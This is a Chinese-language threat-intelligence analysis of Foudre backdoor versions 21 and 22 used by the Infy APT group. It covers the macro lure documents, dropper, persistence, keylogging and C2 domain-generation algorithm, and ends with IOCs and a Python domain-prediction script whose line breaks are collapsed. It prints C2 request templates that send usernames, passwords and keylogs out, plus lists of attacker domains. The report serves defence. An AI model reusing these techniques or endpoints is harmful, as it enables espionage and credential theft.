美人魚(Infy)APT組織的歸來——使用最新的Foudre后門進行攻擊活動的分析
美人魚(Infy)APT組織的歸來——使用最新的Foudre后門進行攻擊活動的分析
本文一共4127字,56張圖 預計閱讀時間13分鐘
0x00.前言
美人魚(又稱infy,Prince of Persia,Foudre)APT組織其主要針對政府機構進行攻擊活動,由unit42以及360威脅情報中心首先于2016年5月進行披露,其最早的攻擊活動可以追溯到2010年,并且期間一直沒有長時間的間斷.該組織背后的來源為中東地區(qū).其使用的后門由于其C2的請求中帶有infy的路徑,故此被名為infy后門,在2017年,unit42發(fā)布報告披露了其使用了更新的后門,名為Foudre。不過其單獨披露了版本1和版本2的后門。在2018年,Intezerlab發(fā)布報告披露了關于Foudre后門的第八版本.在本次的攻擊活動中,我們發(fā)現(xiàn)了其使用的第21版本與第22版本
本次發(fā)現(xiàn)的攻擊活動中,Gcow安全團隊追影小組以及微步情報局共同發(fā)現(xiàn)并且分析了該活動,其使用了帶有惡意宏的文檔并且使用了新版本的Foudre后門,其更新了后門的一些操作.同時保留了相關的域生成算法以及部分C2的請求參數(shù)具有一定的重合度.并且介于其一直通過在文檔中嵌入ole對象通過社工的方式誘導受害者運行到使用帶有惡意宏提取嵌入的ole對象并且執(zhí)行的方式釋放并運行其打包WinSFX文檔以執(zhí)行相應的Foudre后門,故此撰寫本報告以便于看官對該組織更加的了解
根據(jù)樣本的針對性我們判斷其很可能屬于中東的威脅演員,并且很大概率屬于伊朗
0x01.樣本分析
樣本為doc文檔,誘餌文檔中的內(nèi)容由波斯語的圖片組成,帶有宏代碼,運行后進程鏈無其他新進程產(chǎn)生



文檔中插入了幾張InlineShape的圖片

宏代碼運行時,遍歷插入的幾張圖片,遍歷到Type屬性為“wdInlineShapeEmbeddedOLEObject”的圖片

拼接出路徑,根據(jù)版本不同釋放到"C:\\Users\\sam\\AppData\\Local\\Temp\\upxuppos\\fwupdate.tmp"或"C:\\Users\\sam\\AppData\\Local\\Temp\\fwupdate.tmp",并將.tmp后綴修改為.temp

利用range.copy將圖片拷貝到剪貼板,利用Shell.Applocation執(zhí)行,在文檔關閉時,樣本會使用策略繞過Avast執(zhí)行文件,然后清除掉粘貼板中的內(nèi)容

fwupdate.tmp
fwupdate.tmp為一個自解壓程序,壓縮包大小僅為900K,解壓后的文件200MB+,文件內(nèi)容中含有大量重復內(nèi)容
壓縮包調用rundll32加載dll

conf4389.dll
從1-110數(shù)字中取隨機數(shù),取出后根據(jù)隨機數(shù)隨機取出一個DLL名稱

DLL名稱由樣本寫在內(nèi)存中

列表共計110行,全部取出后整理得下表,全都為系統(tǒng)白dll名稱
"ActivationManager""ActiveSyncProvider""AdaptiveCards""ACPBackgroundManagerPolicy""APHostService""ApiSetHost.AppExecutionAlias""AppidPolicyConverter""AppIdPolicyEngineApi""ApplicationControlCSP""ApplicationFrame""ApplicationFrameHost""ApplySettingsTemplateCatalog""AppManagementConfiguration""AppointmentActivation""AppointmentApis""AppvClientEventLog""AppVEntStreamingManager""AppVEntSubsystems64""AppVEntVirtualization""AppVFileSystemMetadata""AppVIntegration""AppVManifest""AppVSentinel""AppVStreamingUX""AppVStreamMap""AppxApplicabilityEngine""AppXDeploymentClient""AppxPackaging""AssignedAccessManager""AssignedAccessRuntime""AuditPolicyGPInterop""AuthFWSnapin""AzureSettingSyncProvider""BackgroundMediaPolicy""BthAvrcpAppSvc""BthMtpContextHandler""BWContextHandler""CapabilityAccessHandlers""CapabilityAccessManager""CapabilityAccessManagerClient""CashDrawerProtocolProvider""CloudExperienceHost""CloudExperienceHostBroker""CloudExperienceHostCommon""CloudExperienceHostUser""ComposerFramework""ComputeStorage""ConfigureExpandedStorage""ConsentExperienceCommon""CoreShellExtFramework""CoreUIComponents""CourtesyEngine""DataUsageHandlers""DavSyncProvider""DdcComImplementationsDesktop""DeveloperOptionsSettingsHandlers""DeviceCredential""DeviceDirectoryClient""DeviceFlows.DataModel""DeviceMetadataRetrievalClient""DevicePairingExperienceMEM""DeviceSetupStatusProvider""DevicesFlowBroker""DiagnosticsHub.Packaging""DictationManager""DispBroker.Desktop""DmApiSetExtImplDesktop""Docking.VirtualInput""EAMProgressHandler""EasPolicyManagerBrokerPS""EditionUpgradeManagerObj""EnterpriseAppMgmtSvc""EnterpriseAppMgmtClient""EnterpriseDesktopAppMgmtCSP""EnterpriseModernAppMgmtCSP""ETWCoreUIComponentsResources""FaceBootstrapAdapter""FlashUtil_ActiveX""GenericProvider""HolographicExtensions""HolographicRuntimes""IndexedDbLegacy""IpNatHlpClient""KeywordDetectorMsftSidAdapter""LangCleanupSysprepAction""LanguageComponentsInstaller""LanguageOverlayServer""LanguageOverlayUtil""LanguagePackDiskCleanup""LicensingWinRT""LicensingDiagSpp""LocationFrameworkInternalPS""MapControlStringsRes""MapsMigPlugin""MCCSEngineShared""MediaFoundation.DefaultPerceptionProvider""MessagingDataModel2""MetroIntelGenericUIFramework""MFCaptureEngine""MiracastInputMgr""MitigationConfiguration""MixedRealityCapture.Pipeline""MixedRealityRuntime""MSAProfileNotificationHandler""MsSpellCheckingFacility""MTFSpellcheckDS""NetCellcoreCellManagerProviderResources""NetEventPacketCapture""NetworkBindingEngineMigPlugin""NFCProvisioningPlugin"
本次生成的是AuthFWSnapin.dll,在運行的時候其會從中隨機抽選
將一同釋放出的d488移動到C:\\ProgramData目錄下命名為"AuthFWSnapin.dll"并設置為"NORMAL"屬性

創(chuàng)建計劃任務,在每次登陸時運行


AuthFWSnapin.dll
通過利用Rundll32.exe加載Shell32.dll,在DLL中main函數(shù)內(nèi)再利用Rundll32.exe加載運行“f8757”導出函數(shù)

檢測窗口"NRV3B19"

樣本中還會將一串UNICODE字符串拷貝到變量中,但在執(zhí)行過程中不知道有何用處


從注冊表"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders"下APPDATA查詢到%APPDATA%路徑


檢查%APPDATA%是否存在,不存在則創(chuàng)建,然后在%APPDATA%下拼接出樣本要釋放的文件路徑

獲取API地址

遍歷進程,查詢進程“dfserv.exe”

注冊了一個窗口類,類名為“NRV3B91”,并創(chuàng)建一個窗口"Form100022",使用名為"Form100022"的窗口進行鍵盤記錄


獲取到HTTP的User-Agent于Google域名

獲取到本機的計算機名、用戶名、IP地址信息

創(chuàng)建兩個定時器,一個每隔10S讀取一次剪貼板內(nèi)容,一個每隔300s鏈接C2發(fā)送竊取的信息

在%APPDATA%目錄下創(chuàng)建config.xml用作“Project INI”,存放一串數(shù)字ID

與Google建立鏈接,查詢狀態(tài)碼是否為200

鏈接成功后,在%temp%目錄下創(chuàng)建一個“tempupd6.exe”,向其中寫入的內(nèi)容為HTTP請求返回的內(nèi)容,寫入之后很快又將文件刪除了

域名使用生成算法生成
ToHex(CRC32("NRV1" + 年 + 月 + 周號)) + (".space"|".net"|".top"|".dynu.net")使用lockbox3 Delphi庫來驗證C2,從C2下載簽名文件:
http://[Domain]/de/?d=2020301&v=00022&t=2020%2D10%2D27%2D%2D15%2D47%2D28其中d 代表 {year} {自年初以來的天數(shù)} t 代表 當前時間
下載的簽名文件%appdata%\\sig.tmp使用公鑰解密后與明文%appdata%\\dom.tmp比較是否相對應

當生成的域名鏈接不成功時,嘗試生成其他域名進行重試

驗證C2后,與C2通信發(fā)送請求檢查更新
http:///2014/?c=<計算機名>&u=<用戶名>&v =<版本>&s =<密碼>&f=<文件夾>&mi=&b=<32/64bit>&t= 
將更新下載回的木馬保存在%temp%\\tempupd6.exe

更新木馬下載成功后會再次下載簽名文件進行驗證,保存在%temp%\\gtsdci32.tmp中
http:///2015/?c=<計算機名>&u=<用戶名>&v=<版本>&s=<密碼>&f=<文件夾>&mi=&b=<32/64bit>&t= 
驗證成功后,使用WinExec函數(shù)執(zhí)行新下載回來的木馬文件

還會向C2傳回加密后的鍵盤記錄情況
http:///en/d=,text= 后續(xù)的載荷并沒有下載下來故此不能繼續(xù)分析
上文中我們根據(jù)其C2通信的特征將其命名為V22
此外我們還發(fā)現(xiàn)了另外一個與之有相似宏代碼的惡意文檔,根據(jù)與C2通信的特征將版本命名為V21
V21樣本中誘餌使用的文檔截圖:

誘餌文檔為帶有宏代碼的惡意文檔,文檔中的內(nèi)容為波斯語

與前面的樣本一樣,插入的圖片同樣是InlineShape屬性,將其釋放到%temp%目錄下并調用Shell運行,釋放的是一個自解壓文件

EZUpdate.tmp
EZUpdate.tmp是一個自解壓文件,其中包含一個.bmp文件,一個.dll文件,一個d3d9
執(zhí)行的命令行為:Setup=rundll32.exe conf3234.dll f8753 d948

conf3234.dll
在conf3234.dll中也有一段意義不明的字符串

通過文檔內(nèi)容來看,該樣本可能于2020/07/29號后進行編譯的
查找窗口"NRV3B19","NRV3B19"是樣本最后一階段注冊的窗口類

修改注冊表,在HKEY_CURRENT_USER\\Software\\temp下寫入一個名為“ran2”的注冊表,注冊表內(nèi)DLL名稱為上文所提及生成的

查詢C:\\Programdata是否存在,不存在則創(chuàng)建

將最初同一個壓縮包的d389移動到C:\\ProgramData\\下,文件名為注冊表內(nèi)寫入的DLL名

創(chuàng)建計劃任務,實現(xiàn)持久化,自啟的方式依然是利用Rundll32調用Shell32.dll的函數(shù)執(zhí)行DLL中的main函數(shù),在main函數(shù)中再利用Rundll32調用導出函數(shù)


AppxApplicabilityEngine.dll

檢測參數(shù)"1281020996"

注冊窗口類“NRV3B19”,并創(chuàng)建一個窗口"Form100021",使用名為"Form100021"的窗口進行鍵盤記錄,與V22版本不同,V22的窗口為"Form100022",樣本習慣使用版本號作為窗口名稱的結尾


在V21中的域名生成算法與V22版本相同,使用的域名也相同
域名算法中依然由"NRV1"+年+月+周組成

生成的域名和V22版本樣本相同,后綴依然為".space,“.net",".top",".dynu.net"

兩次樣本用來解密從C2獲得的簽名文件的密鑰也相同

兩版本樣本功能幾乎一致,唯一的不同點在于版本號不同,而沒有發(fā)現(xiàn)其余功能的更新
同時為了方便各位看官理解,我們繪制了該類樣本的流程圖

0x02.樣本相似以及技術演進
1.樣本相似
(1).域名生成算法的相關
從之前的樣本去看,從第一版本到第22版本都使用了相關的域名生成算法,其中以第八版本為一個分界線
第八版本之前使用了如下的C2域名生成算法:
ToHex(CRC32(“NRV1” + 年 + 月 + 周號)) + (“.space”|”.net”|”.top”)第八版本使用了如下的C2域名生成算法:
ToHex(CRC32(“NRTV1” + 年 + 月 + 周號)) + (“.space”|”.net”|”.top”|”.dynu.net”)而本次活動披露的第21版本與第22版本則使用了老的域名生成算法進行生成,同時擴充了新的后綴
ToHex(CRC32("NRV1" + 年 + 月 + 周號)) + (".space"|".net"|".top"|".dynu.net")在V21與V22版本中更新了添加了驗證C2的功能,猜測可能因為之前有安全公司通過算法得到域名后搶在黑客組織前提前搶注了域名
所以導致攻擊者添加了驗證的環(huán)節(jié)
(2).C&C報文的URL路徑
該組織并沒有去費周折修改其樣本的C&C的請求報文
http:///2014/?c=<計算機名>&u=<用戶名>&v =<版本>&s =<密碼>&f=<文件夾>&mi= &b=<32/64bit>&t= http:///2015/?c=<計算機名>&u=<用戶名>&v=<版本>&s=<密碼>&f=<文件夾>&mi= &b=<32/64bit>&t=
2.樣本技術演進
(1).初始植入物的演變
其使用的植入物在前期版本以向PPT文件嵌入多個ole以誘導受害人點擊,以及使用可能的水坑攻擊,并且使用直接投遞偽裝成相關誘餌文件的sfx文檔進行投遞.在本次捕獲的樣本中主要涉及到使用惡意宏文檔進行投遞.不過不排除還有其他攻擊手段的可能性(注意:不是準確結論,僅為部分猜測)

(2).持久化方式的演進

0x03.處置建議
刪除文件
%Temp%\EZUpdate.tmp
%Temp%\tmp1375\d948
%Temp%\tmp1375\conf3234.dll
%Temp%\tmp1375\61Dk5U6TjDL.bmp
%AppData%\fwupdate.tmp
%AppData%\tmp6073\conf4389.dll
%AppData%\tmp6073\d488
%Appdata%\config.xml
%Temp%\gtsdci32.tmp
%AppData%\sig.tmp
%AppData%\dom.tmp
%Temp%\tempupd6.exe
%Temp%\sduchxll.tmp
0x04.IOCs
MD5
2C111A27D0D9D48E9470264B4C16B472
d497e0332e88341bd5ddbaa326cab977
4381a0c76f2bff772063e6cc6a1ac876
DC14F029EFA635D5922012904E162808
8b8e286f64a4635e12d6d728a5669d51
916e3d4c5835380c99efa802ddb4436d
BE11401B723EC4F20BE8D65C04A8003E
1a46bd6385feae53a6b8aed758e16556
C2
Generating domains for: 2020-10-20 17:19:39.397000 - 2020-12-29 17:19:39.397000. Each domain can have .space, .net,.dynu.net or .top as TLD (top level domain).
1.2020-10-20 17:19:39.397000 - Week Number: 43 e00be33d.space db54a845.space 425df9ff.space 355ac969.space ab3e5cca.space dc396c5c.space 45303de6.space 32370d70.space a28810e1.space d58f2077.space f2b63e96.space 85b10e00.space 1cb85fba.space 6bbf6f2c.space f5dbfa8f.space 82dcca19.space 1bd59ba3.space 6cd2ab35.space fc6db6a4.space 8b6a8632.space2.2020-10-27 17:19:39.397000 - Week Number: 44 7e6f769e.space 94153e82.space 0d1c6f38.space 7a1b5fae.space e47fca0d.space 9378fa9b.space 0a71ab21.space 7d769bb7.space edc98626.space 9aceb6b0.space f7f92813.space 80fe1885.space 19f7493f.space 6ef079a9.space f094ec0a.space 8793dc9c.space 1e9a8d26.space 699dbdb0.space f922a021.space 8e2590b7.space3.2020-11-03 17:19:39.397000 - Week Number: 45 08aa2c3f.space 35b268a6.space acbb391c.space dbbc098a.space 45d89c29.space 32dfacbf.space abd6fd05.space dcd1cd93.space 4c6ed002.space 3b69e094.space cb5b6b94.space bc5c5b02.space 25550ab8.space 52523a2e.space cc36af8d.space bb319f1b.space 2238cea1.space 553ffe37.space c580e3a6.space b287d330.space4.2020-11-10 17:19:39.397000 - Week Number: 46 91a37d85.space 1e9f3b65.space 87966adf.space f0915a49.space 6ef5cfea.space 19f2ff7c.space 80fbaec6.space f7fc9e50.space 674383c1.space 1044b357.space c91dd5cd.space be1ae55b.space 2713b4e1.space 50148477.space ce7011d4.space b9772142.space 207e70f8.space 5779406e.space c7c65dff.space b0c16d69.space5.2020-11-17 17:19:39.397000 - Week Number: 47 e6a44d13.space 07840a24.space 9e8d5b9e.space e98a6b08.space 77eefeab.space 00e9ce3d.space 99e09f87.space eee7af11.space 7e58b280.space 095f8216.space c8dfbffa.space bfd88f6c.space 26d1ded6.space 51d6ee40.space cfb27be3.space b8b54b75.space 21bc1acf.space 56bb2a59.space c60437c8.space b103075e.space6.2020-11-24 17:19:39.397000 - Week Number: 48 761b5082.space 801c16eb.space 19154751.space 6e1277c7.space f076e264.space 8771d2f2.space 1e788348.space 697fb3de.space f9c0ae4f.space 8ec79ed9.space c383f8c7.space b484c851.space 2d8d99eb.space 5a8aa97d.space c4ee3cde.space b3e90c48.space 2ae05df2.space 5de76d64.space cd5870f5.space ba5f4063.space7.2020-12-01 17:19:39.397000 - Week Number: 49 035ade4d.space 8bb28844.space 12bbd9fe.space 65bce968.space fbd87ccb.space 8cdf4c5d.space 15d61de7.space 62d12d71.space f26e30e0.space 85690076.space 85e1e820.space f2e6d8b6.space 6bef890c.space 1ce8b99a.space 828c2c39.space f58b1caf.space 6c824d15.space 1b857d83.space 8b3a6012.space fc3d5084.space8.2020-12-08 17:19:39.397000 - Week Number: 50 639d57a8.space 5bb2593a.space c2bb0880.space b5bc3816.space 2bd8adb5.space 5cdf9d23.space c5d6cc99.space b2d1fc0f.space 226ee19e.space 5569d108.space 328cb4ca.space 458b845c.space dc82d5e6.space ab85e570.space 35e170d3.space 42e64045.space dbef11ff.space ace82169.space 3c573cf8.space 4b500c6e.space9.2020-12-15 17:19:39.397000 - Week Number: 51 149a673e.space 42a9687b.space dba039c1.space aca70957.space 32c39cf4.space 45c4ac62.space dccdfdd8.space abcacd4e.space 3b75d0df.space 4c72e049.space 334edefd.space 4449ee6b.space dd40bfd1.space aa478f47.space 34231ae4.space 43242a72.space da2d7bc8.space ad2a4b5e.space 3d9556cf.space 4a926659.space10.2020-12-22 17:19:39.397000 - Week Number: 52 8d933684.space 69843bb8.space f08d6a02.space 878a5a94.space 19eecf37.space 6ee9ffa1.space f7e0ae1b.space 80e79e8d.space 1058831c.space 675fb38a.space 310860a4.space 460f5032.space df060188.space a801311e.space 3665a4bd.space 4162942b.space d86bc591.space af6cf507.space 3fd3e896.space 48d4d800.space
0x05.附錄
參考鏈接:
https://www.intezer.com/blog/research/prince-of-persia-the-sands-of-foudre/
https://researchcenter.paloaltonetworks.com/2017/08/unit42-prince-persia-ride-lightning-infy-returns-foudre/
http://researchcenter.paloaltonetworks.com/2016/06/unit42-prince-of-persia-game-over/
http://researchcenter.paloaltonetworks.com/2016/05/prince-of-persia-infy-malware-active-in-decade-of-targeted-attacks/
https://unit42.paloaltonetworks.com/prince-of-persia-infy-malware-active-in-decade-of-targeted-attacks/
https://www.freebuf.com/articles/network/105726.html
域名生成腳本
基于Esmid idrizovic的腳本進行修改:
import binasciiimport datetimeamp = 0xffffffffdef getHostCRC(input):crc = binascii.crc32(input) & 0xffffffffhost = "{:08x}".format(int(crc))return hostdef getDomains(date):domains = [".space"]results = []weeknumber = date.isocalendar()[1]s = "NRV1{}{}{}".format(date.year, date.month, weeknumber)hostname = shost = getHostCRC(hostname) + domains[0]results.append(host)for d in domains:for i in range(1, 101):hostname = s + str(i)host = getHostCRC(hostname) + dresults.append(host)return resultsdef getDomainsForNextWeeks(number_of_weeks):date = datetime.datetime.now()date -= datetime.timedelta(days=7)n = 1date_to = date + datetime.timedelta(days=7*number_of_weeks)print "Generating domains for: {} - {}.\nEach domain can have .space, .net or .top as TLD (top level domain).\n\n".format(date, date_to)for i in range(number_of_weeks):tmp = getDomains(date)top_domains = tmp[:20]weeknumber = date.isocalendar()[1]print "{}. {} - Week Number: {}".format(n, date, weeknumber)for domain in top_domains:print "{}".format(domain)date += datetime.timedelta(days=7)n = n + 1print ""getDomainsForNextWeeks(10)
0x06.結語
美人魚(Infy) APT組織是一個活動持續(xù)將近10年的組織,其水平不高也不算低.其不斷改變手法以逃避安全人員的追查,同時該組織在其惡意樣本的編寫中逐漸嘗試減少特征,并且在編寫過程中使用寄存器傳遞參數(shù)的方式加大安全分析人員分析的難度以及歸屬的難度.并且很有意思的一點,該組織喜歡在其樣本中添加最近新聞中的信息,目的不明,猜測可能旨在標記時間
